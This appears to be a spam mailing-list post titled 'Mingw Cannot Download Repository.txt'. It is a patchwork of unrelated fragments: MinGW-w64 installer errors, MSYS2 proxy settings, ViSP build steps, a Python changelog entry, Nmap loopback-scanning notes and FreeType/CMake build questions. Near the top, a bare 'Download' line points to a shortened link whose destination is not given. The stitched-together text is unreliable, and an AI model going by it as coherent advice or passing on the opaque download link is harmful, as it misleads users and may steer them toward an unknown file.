Mingw Cannot Download Repository.txt

8 views
Skip to first unread message

Elpidio Heart

unread,
May 9, 2024, 11:43:29 AM5/9/24
to dulnarowee

I am trying to install mingw-w64 onto Windows. However I receive an error, "the file has been downloaded incorrectly". Redownloading the setup file again from sourceforge does not fix the problem. Is there an alternative way to install it or am I doing something wrong?

Take a look at it, the installer basically just download and unzip the build from one of these urls within repository.txt. Choose the url you want and download/upzip it manually. (In my case, I use 8.1.0x86_64posixsehrev0 setup)

mingw cannot download repository.txt


Download ……… https://t.co/GOA3k2DoVK



Download installer mingw-w64-install.exe
Download repository.txt into the same folder as mingw-w64-install.exe
Run mingw-w64-install.exe
In the Settings window, change the Architecture to x86_64 and click Next
Follow instructions and verify that C:\Program Files\mingw-w64 has been made
To open mingw-w64 , run mingw-w64.bat in C:\Program Files\mingw-w64\x86_64-8.1.0-posix-seh-rt_v6-rev0\

I downloaded the installer from -w64/files/Toolchains%20targetting%20Win32/Personal%20Builds/mingw-builds/installer/mingw-w64-install.exe/download
I then ran the installer and after the first screen got a dialog that said:
Cannot download repository.txt[0]
I have tried running as administrator and still get the same error.

Not sure if this is a recurring problem or if it's still there from before under certain circumstances, but I'm getting it now with mingw-w64-install.exe under windows 7 after confirming
sha256: 19b9a267a5b79913bf6a3a53cda83c3f7711cb6c879d48ccb97b4ed15c21fcf1

Did it with run as administrator and without. Both failed. I even had an old mingw64 installer from January 2017 on another workstation so I used that one and got the same problem on this machine. These two installers worked on a Windows 7 box. (Date of attempts: 10 May 2018)

Also getting this error. Doing as zongzhimin suggested does not help.
There is Norton Security installed on this machine, but it did not complain about anything.
To the contrary, the Norton log says that access to network resources by mingw-builds-install was granted.

The new MSYS2 now uses pacman, the package manager from the arch linux project, to manage both msys and mingw packages. Pacman is capable of using authenticated http(s) proxies, see this article in the Arch Linux wiki for more information.
I added the following lines to \msys64\etc\profile:

Modify the Path var to add the path to ViSP dll libraries. To this end open the "Edit environment variable" UI, and modify Path to add a new line with %VISP_WS%\visp-build-mingw\install\x64\mingw\bin.

To see which are the optional 3rd parties that are found during the configuration stage and that will be used by ViSP during the build you can have a look to the text file named ViSP-third-party.txt and located in VISP_WS%/visp-build-mingw. We provide hereafter an example of a possible content of this file that contains also build info.

gh-96005: On WASI ENOTCAPABLE is now mapped toPermissionError. The errno modules exposes the new errornumber. getpath.py now ignores PermissionError when it cannotopen landmark files pybuilddir.txt and pyenv.cfg.

When using Nmap without Npcap, you cannotgenerally scan your own machine from itself (using aloopback IP such as 127.0.0.1 or any of itsregistered IP addresses). This is a Windows limitation that wehave worked around in Npcap, which is included in the Windows self-installer.Users stuck without a Npcap installation can use a TCPconnect scan without pinging (-sT -Pn) as that usesthe high level socket API rather than sending rawpackets.

This file is expected to be generated by CMake while building and installing FreeType library. As FreeType project has several ways for building library and CMake is only one of them - freetype-config.cmake is not necessarily would appear depending on how you have decided to build it. Another problem is that these config files might be broken or cannot be properly imported.

I tried to make it work on Windows based on the (pseudo) command:
git clone --depth 1 --branch VER-2-10-4 "$BUILD_DIR/freetype2.git"
, but the freetype project files created for VisualStudio contains unix code that I cannot build. Even if I can find out how to make it work with Ninja, I don't think that would fix the unix code issue, as the referenced unix headers simply don't exist! I find that a bit odd because the Readme.git says that freetype doesn't contain pre-built configuration scripts for UNIXish platforms - so how does the above command create it??

P.S.: I created header mockups egl.h and gl2.h to trick cmake into thinking it found the include dirs, and that way I managed to generate the project and solution files. However, this solution tries to build TKOpenGLES even though I specified it shouldn't be built! Also, the project TKService is trying to include ft2build.h, but cannot find it. What am i missing?

08ab062aa8
Reply all
Reply to author
Forward
0 new messages